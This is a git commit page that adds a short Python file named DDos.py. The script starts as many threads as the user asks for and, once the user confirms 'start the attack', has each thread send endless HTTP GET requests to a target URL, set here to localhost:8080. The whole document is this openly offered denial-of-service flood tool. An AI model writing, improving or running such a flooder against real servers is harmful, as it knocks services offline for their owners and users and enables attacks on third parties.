Dateien hochladen nach „“

master
Justus Jan Nico Wolff 2022-08-19 14:57:38 +02:00
parent 4396373033
commit 89a5483e78
1 changed files with 21 additions and 0 deletions

21
DDos.py 100644
View File

@ -0,0 +1,21 @@
import requests
import threading
import tqdm
target = "http://localhost:8080"
activ = False
def attack(target):
global activ
while True:
if activ:
try:
requests.get(target)
except Exception as e:
print(e)
threads = []
print("setting up threads...")
for i in tqdm.tqdm(range(int(input("threads: ")))):
threads.append(threading.Thread(target=lambda: attack(target)).start())
if input("do you want to start the attack now? y/n: ") == "y":
activ = True